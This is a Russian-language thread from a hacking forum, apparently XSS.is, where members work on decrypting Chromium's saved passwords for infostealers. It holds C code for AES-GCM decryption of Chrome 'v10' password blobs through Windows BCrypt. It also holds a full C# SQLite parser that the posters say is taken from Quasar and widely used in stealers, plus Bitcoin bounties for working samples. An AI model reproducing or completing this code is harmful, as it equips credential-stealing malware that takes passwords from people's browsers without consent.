• XSS.stack #1 – первый литературный журнал от юзеров форума

BCrypt, дешифровка пароля chromium.

winload

HDD-drive
Забанен
Регистрация
31.03.2020
Сообщения
29
Реакции
15
Пожалуйста, обратите внимание, что пользователь заблокирован
C:
bool Init()
        {
            bool bRet = false;

            do
            {
                if (STATUS_SUCCESS != BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
                {
#ifdef __DEBUG
                    Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't initialize cryptoprovider. Last error code: %n", GetLastError());
#endif
                    break;
                }

                if (STATUS_SUCCESS != BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0))
                {
#ifdef __DEBUG
                    Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't set chaining mode. Last error code: %n", GetLastError());
#endif
                    break;
                }


                bRet = true;

            } while (false);

          

            return bRet;
        }

// ---------------------------------

bool InitKey(
            IN PBYTE pbKey
            )
        {
            bool bRet = true;

            if (STATUS_SUCCESS != BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, pbKey, AES_256_KEY_SIZE, 0))
            {
#ifdef __DEBUG
                Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't deinitialize cryptoprovider. Last error code: %n", GetLastError());
#endif
                bRet = false;
            }

            return bRet;
        }
      
// ---------------------------------

bool DecryptPassword(
            IN PBYTE pbData,
            IN DWORD dwDataLength,
            OUT PCHAR pszDestination
            )
        {
            bool bRet = false;

            if (NULL == pbData || 0 == dwDataLength || NULL == pszDestination)
            {
                return bRet;
            }

            BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO BACMI;

            BCRYPT_INIT_AUTH_MODE_INFO(BACMI); // Макрос инициализирует структуру BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO


            BACMI.pbNonce = &pbData[3]; // Пропускаем префикс "v10".
            BACMI.cbNonce = 12; // Размер Nonce = 12 байт.
            BACMI.pbTag = &BACMI.pbNonce[12];
            BACMI.cbTag = dwDataLength - 3 - 12;

            DWORD dwOutLength = 19;

            PCHAR pszTest = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwOutLength + 1);
          
            ULONG ua = BCryptDecrypt(hKey, BACMI.pbNonce + BACMI.cbNonce, dwOutLength, &BACMI, NULL, 0, (PUCHAR)pszTest, dwOutLength, &dwOutLength, 0);
          
            }

После правильной цепочки вызовов - BCryptDecrypt возвращает 0xc000d и мусор в буффере. Помогите, пожалуйста.
 
Последнее редактирование:
Интересно... сам бы хотел решение узнать.... Не знал, что можно через дефолтный BCrypt расшифровать пассы нового хрома.
 
50$ в btc, за рабочий семпл с bcrypt aes-gcm. По 25$ за с/с++ и .net версию(плачу только за 2 версии, по раздельности не канает). На .net через p/invoke (c#/powershell)(если конечно возможно инвокнуть это дело с под .net). Кто проведёт мини ресерч? В пм, либо сюда в топ(без хайда). Чисто символически хочу поощрить на пиво за развитие темы для комьюнити
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
50$ в btc, за рабочий семпл с bcrypt aes-gcm. По 25$ за с/с++ и .net версию(плачу только за 2 версии, по раздельности не канает). На .net через p/invoke (c#/powershell)(если конечно возможно инвокнуть это дело с под .net). Кто проведёт мини ресерч? В пм, либо сюда в топ(без хайда). Чисто символически хочу поощрить на пиво за развитие темы для комьюнити
Поддерживаю, подкину 25$ за с/++ версию на btc
 
50$ в btc, за рабочий семпл с bcrypt aes-gcm. По 25$ за с/с++ и .net версию(плачу только за 2 версии, по раздельности не канает). На .net через p/invoke (c#/powershell)(если конечно возможно инвокнуть это дело с под .net). Кто проведёт мини ресерч? В пм, либо сюда в топ(без хайда). Чисто символически хочу поощрить на пиво за развитие темы для комьюнити
На гитхабе уже есть .net версия
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На гитхабе уже есть .net версия
Спасибо. Вечером проверю, и если всё ок - выложу нативную версию.
 
На гитхабе уже есть .net версия
Спасибо. Вечером проверю, и если всё ок - выложу нативную версию.
Если ты проверишь .net версию с гитхаба и скинешь сюда отчёт, что работает, с перепостингом кода, то 25$ заслуженно твои:)
И 25$ winloadу, если реализует на натив и пруфанет что работает. Обещания держу. Спасибо за инфу.
 
Если ты проверишь .net версию с гитхаба и скинешь сюда отчёт, что работает, с перепостингом кода, то 25$ заслуженно твои:)
И 25$ winloadу, если реализует на натив и пруфанет что работает. Обещания держу. Спасибо за инфу.
Версия проверена, алгоритм декрипта работает вроде бы корректно, однако сам софт пароли у меня не тянет из за ошибки в SqlHandler.
Под себя переписал алгоритм поиска файлов и работу с нативной sqlite, но выкладывать не хочу :)
 
однако сам софт пароли у меня не тянет из за ошибки в SqlHandler.
версия с гитхаба работает!
В каких случаях у тебя sqlite handler ошибку выдаёт? Если человек пишет, что все работает
 
В каких случаях у тебя sqlite handler ошибку выдаёт? Если человек пишет, что все работает
При запуске софта.
1586299208119.png

Вообще этих хендлеров несколько было, кучи стиллеров на зеленке использовали этот класс.
Насколько я слышал, наименее багованным считается тот что использован здесь (выдран с Quasar).
А другая, переписанная версия этого класса просто ломает данные, из за чего их невозможно расшифровать.
Имхо проще использовать нативную длл. И багов нет, и байты целы.
 
При запуске софта.
Посмотреть вложение 8957
Вообще этих хендлеров несколько было, кучи стиллеров на зеленке использовали этот класс.
Насколько я слышал, наименее багованным считается тот что использован здесь (выдран с Quasar).
А другая, переписанная версия этого класса просто ломает данные, из за чего их невозможно расшифровать.
Имхо проще использовать нативную длл. И багов нет, и байты целы.
Я так понимаю, баг отрабатывает в неопределенных случаях? У человека выше вроде все запустилось и собрало данные... + другой человек отписался мне, тоже собрал проект, сказал что все сработало. То есть уже двое сказали, что все ок. Пытаюсь понять, в каких случаях не работает, раз такое дело.
 
Последнее редактирование:
Я так понимаю, баг отрабатывает в неопределенных случаях? У человека выше вроде все запустилось и собрало данные... + другой человек отписался мне, тоже собрал проект, сказал что все сработало. То есть уже двое сказали, что все ок. Пытаюсь понять, в каких случаях не работает, раз такое дело.
Не знаю, у меня ни с одного браузера не собирает. Я спрашивал у других, мол как вы это юзаете, у меня не работает. Но ни у кого проблем вроде не возникало. На том и забил. Можешь покопаться, мб поправишь и будет норм.
Вот другая версия этого класса, немного почищенная, мб пригодится.
C#:
using System;
using System.IO;
using System.Text;

namespace who
{
    internal class SqlHandler
    {
        private readonly byte[] _sqlDataTypeSize = new byte[10]
        {
       0,
       1,
       2,
       3,
       4,
       6,
       8,
       8,
       0,
       0
        };
        private readonly ulong _dbEncoding;
        private readonly byte[] _fileBytes;
        private readonly ulong _pageSize;
        private string[] _fieldNames;
        private SqliteMasterEntry[] _masterTableEntries;
        private TableEntry[] _tableEntries;

        public SqlHandler(string fileName)
        {
            _fileBytes = File.ReadAllBytes(fileName);
            _pageSize = ConvertToULong(16, 2);
            _dbEncoding = ConvertToULong(56, 4);
            ReadMasterTable(100L);
        }

        public string GetValue(int rowNum, int field)
        {
            try
            {
                if (rowNum >= _tableEntries.Length)
                    return (string)null;
                return field >= _tableEntries[rowNum].Content.Length ? null : _tableEntries[rowNum].Content[field];
            }
            catch
            {
                return null;
            }
        }

        public int GetRowCount()
        {
            return _tableEntries.Length;
        }

        private bool ReadTableFromOffset(ulong offset)
        {
            try
            {
                if (_fileBytes[offset] == 13)
                {
                    uint num1 = (uint)(ConvertToULong((int)offset + 3, 2) - 1UL);
                    int num2 = 0;
                    if (_tableEntries != null)
                    {
                        num2 = _tableEntries.Length;
                        Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num1 + 1);
                    }
                    else
                        _tableEntries = new TableEntry[(int)num1 + 1];
                    for (uint index1 = 0; (int)index1 <= (int)num1; ++index1)
                    {
                        ulong num3 = ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                        if ((long)offset != 100L)
                            num3 += offset;
                        int endIdx1 = Gvl((int)num3);
                        Cvl((int)num3, endIdx1);
                        int endIdx2 = Gvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L));
                        Cvl((int)((long)num3 + (endIdx1 - (long)num3) + 1L), endIdx2);
                        ulong num4 = num3 + (ulong)(endIdx2 - (long)num3 + 1L);
                        int endIdx3 = Gvl((int)num4);
                        int endIdx4 = endIdx3;
                        long num5 = Cvl((int)num4, endIdx3);
                        RecordHeaderField[] array = null;
                        long num6 = (long)num4 - endIdx3 + 1L;
                        int index2 = 0;
                        while (num6 < num5)
                        {
                            Array.Resize(ref array, index2 + 1);
                            int startIdx = endIdx4 + 1;
                            endIdx4 = Gvl(startIdx);
                            array[index2].Type = Cvl(startIdx, endIdx4);
                            array[index2].Size = array[index2].Type <= 9L ? _sqlDataTypeSize[array[index2].Type] : (!IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
                            num6 = num6 + (endIdx4 - startIdx) + 1L;
                            ++index2;
                        }
                        if (array != null)
                        {
                            _tableEntries[num2 + (int)index1].Content = new string[array.Length];
                            int num7 = 0;
                            for (int index3 = 0; index3 <= array.Length - 1; ++index3)
                            {
                                if (array[index3].Type > 9L)
                                {
                                    if (!IsOdd(array[index3].Type))
                                    {
                                        if ((long)_dbEncoding == 1L)
                                            _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
                                        else if ((long)_dbEncoding == 2L)
                                        {
                                            _tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
                                        }
                                        else if ((long)_dbEncoding == 3L)
                                            _tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num4 + num5 + num7), (int)array[index3].Size);
                                    }
                                    else
                                        this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                }
                                else
                                    this._tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(this.ConvertToULong((int)((long)num4 + num5 + (long)num7), (int)array[index3].Size));
                                num7 += (int)array[index3].Size;
                            }
                        }
                    }
                }
                else if ((int)this._fileBytes[offset] == 5)
                {
                    uint num1 = (uint)(this.ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
                    for (uint index = 0; (int)index <= (int)num1; ++index)
                    {
                        uint num2 = (uint)this.ConvertToULong((int)offset + 12 + (int)index * 2, 2);
                        this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + (long)num2), 4) - 1UL) * this._pageSize);
                    }
                    this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * this._pageSize);
                }
                return true;
            }
            catch
            {
                return false;
            }
        }

        private void ReadMasterTable(long offset)
        {
            try
            {
                switch (this._fileBytes[offset])
                {
                    case 5:
                        uint num1 = (uint)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                        for (int index = 0; index <= (int)num1; ++index)
                        {
                            uint num2 = (uint)this.ConvertToULong((int)offset + 12 + index * 2, 2);
                            if (offset == 100L)
                                this.ReadMasterTable(((long)this.ConvertToULong((int)num2, 4) - 1L) * (long)this._pageSize);
                            else
                                this.ReadMasterTable(((long)this.ConvertToULong((int)(offset + (long)num2), 4) - 1L) * (long)this._pageSize);
                        }
                        this.ReadMasterTable(((long)this.ConvertToULong((int)offset + 8, 4) - 1L) * (long)this._pageSize);
                        break;
                    case 13:
                        ulong num3 = this.ConvertToULong((int)offset + 3, 2) - 1UL;
                        int num4 = 0;
                        if (this._masterTableEntries != null)
                        {
                            num4 = this._masterTableEntries.Length;
                            Array.Resize<SqlHandler.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num3 + 1);
                        }
                        else
                            this._masterTableEntries = new SqlHandler.SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))];
                        for (ulong index1 = 0; index1 <= num3; ++index1)
                        {
                            ulong num2 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                            if (offset != 100L)
                                num2 += (ulong)offset;
                            int endIdx1 = this.Gvl((int)num2);
                            this.Cvl((int)num2, endIdx1);
                            int endIdx2 = this.Gvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L));
                            this.Cvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L), endIdx2);
                            ulong num5 = num2 + (ulong)((long)endIdx2 - (long)num2 + 1L);
                            int endIdx3 = this.Gvl((int)num5);
                            int endIdx4 = endIdx3;
                            long num6 = this.Cvl((int)num5, endIdx3);
                            long[] numArray = new long[5];
                            for (int index2 = 0; index2 <= 4; ++index2)
                            {
                                int startIdx = endIdx4 + 1;
                                endIdx4 = this.Gvl(startIdx);
                                numArray[index2] = this.Cvl(startIdx, endIdx4);
                                numArray[index2] = numArray[index2] <= 9L ? (long)this._sqlDataTypeSize[numArray[index2]] : (!SqlHandler.IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
                            }
                            if ((long)this._dbEncoding == 1L || (long)this._dbEncoding == 2L)
                                ;
                            if ((long)this._dbEncoding == 1L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            else if ((long)this._dbEncoding == 2L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            else if ((long)this._dbEncoding == 3L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            this._masterTableEntries[num4 + (int)index1].RootNum = (long)this.ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
                            if ((long)this._dbEncoding == 1L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                            else if ((long)this._dbEncoding == 2L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                            else if ((long)this._dbEncoding == 3L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        break;
                }
            }
            catch
            {
            }
        }

        public bool ReadTable(string tableName)
        {
            try
            {
                int index1 = -1;
                for (int index2 = 0; index2 <= this._masterTableEntries.Length; ++index2)
                {
                    if (string.Compare(this._masterTableEntries[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
                    {
                        index1 = index2;
                        break;
                    }
                }
                if (index1 == -1)
                    return false;
                string[] strArray = this._masterTableEntries[index1].SqlStatement.Substring(this._masterTableEntries[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
                for (int index2 = 0; index2 <= strArray.Length - 1; ++index2)
                {
                    strArray[index2] = strArray[index2].TrimStart();
                    int length = strArray[index2].IndexOf(' ');
                    if (length > 0)
                        strArray[index2] = strArray[index2].Substring(0, length);
                    if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
                    {
                        Array.Resize<string>(ref this._fieldNames, index2 + 1);
                        this._fieldNames[index2] = strArray[index2];
                    }
                }
                return this.ReadTableFromOffset((ulong)(this._masterTableEntries[index1].RootNum - 1L) * this._pageSize);
            }
            catch
            {
                return false;
            }
        }

        private ulong ConvertToULong(int startIndex, int size)
        {
            try
            {
                if (size > 8 | size == 0)
                    return 0;
                ulong num = 0;
                for (int index = 0; index <= size - 1; ++index)
                    num = num << 8 | (ulong)this._fileBytes[startIndex + index];
                return num;
            }
            catch
            {
                return 0;
            }
        }

        private int Gvl(int startIdx)
        {
            try
            {
                if (startIdx > this._fileBytes.Length)
                    return 0;
                for (int index = startIdx; index <= startIdx + 8; ++index)
                {
                    if (index > this._fileBytes.Length - 1)
                        return 0;
                    if (((int)this._fileBytes[index] & 128) != 128)
                        return index;
                }
                return startIdx + 8;
            }
            catch
            {
                return 0;
            }
        }

        private long Cvl(int startIdx, int endIdx)
        {
            try
            {
                ++endIdx;
                byte[] numArray = new byte[8];
                int num1 = endIdx - startIdx;
                bool flag = false;
                if (num1 == 0 | num1 > 9)
                    return 0;
                if (num1 == 1)
                {
                    numArray[0] = (byte)((uint)this._fileBytes[startIdx] & (uint)sbyte.MaxValue);
                    return BitConverter.ToInt64(numArray, 0);
                }
                if (num1 == 9)
                    flag = true;
                int num2 = 1;
                int num3 = 7;
                int index1 = 0;
                if (flag)
                {
                    numArray[0] = this._fileBytes[endIdx - 1];
                    --endIdx;
                    index1 = 1;
                }
                int index2 = endIdx - 1;
                while (index2 >= startIdx)
                {
                    if (index2 - 1 >= startIdx)
                    {
                        numArray[index1] = (byte)((int)this._fileBytes[index2] >> num2 - 1 & (int)byte.MaxValue >> num2 | (int)this._fileBytes[index2 - 1] << num3);
                        ++num2;
                        ++index1;
                        --num3;
                    }
                    else if (!flag)
                        numArray[index1] = (byte)((int)this._fileBytes[index2] >> num2 - 1 & (int)byte.MaxValue >> num2);
                    index2 += -1;
                }
                return BitConverter.ToInt64(numArray, 0);
            }
            catch
            {
                return 0;
            }
        }

        private static bool IsOdd(long value)
        {
            return (value & 1L) == 1L;
        }

        private struct RecordHeaderField
        {
            public long Size;
            public long Type;
        }

        private struct TableEntry
        {
            public string[] Content;
        }

        private struct SqliteMasterEntry
        {
            public string ItemName;
            public long RootNum;
            public string SqlStatement;
        }
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Знакомый расшифровал, позже выложит на гит.

Скрытый контент для зарегистрированных пользователей.


Скрытый контент для пользователей: .
 
Знакомый расшифровал, позже выложит на гит.

Скрытое содержимое
Скрытое содержимое
onek1lo уже задонатил 25. Осталось понять кому за с++ версию закидывать)) winload, как успехи?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
onek1lo уже задонатил 25. Осталось понять кому за с++ версию закидывать)) winload, как успехи?
Я под хайдом ему скинул реализацию рабочую, думаю раскурит. Позже ещё на гите будет реализация готовая
 
Пожалуйста, обратите внимание, что пользователь заблокирован
onek1lo уже задонатил 25. Осталось понять кому за с++ версию закидывать)) winload, как успехи?
Jeffs'y закидывай, у меня были проблемы некоторые, не дошли руки.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Jeffs'y закидывай, у меня были проблемы некоторые, не дошли руки.
Да мне то зачем, я почти ничего не делал. На мне только получение, расшифровка ключа была, и та, с тонной говнокода))


Скрытый контент для пользователей: Haunt.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх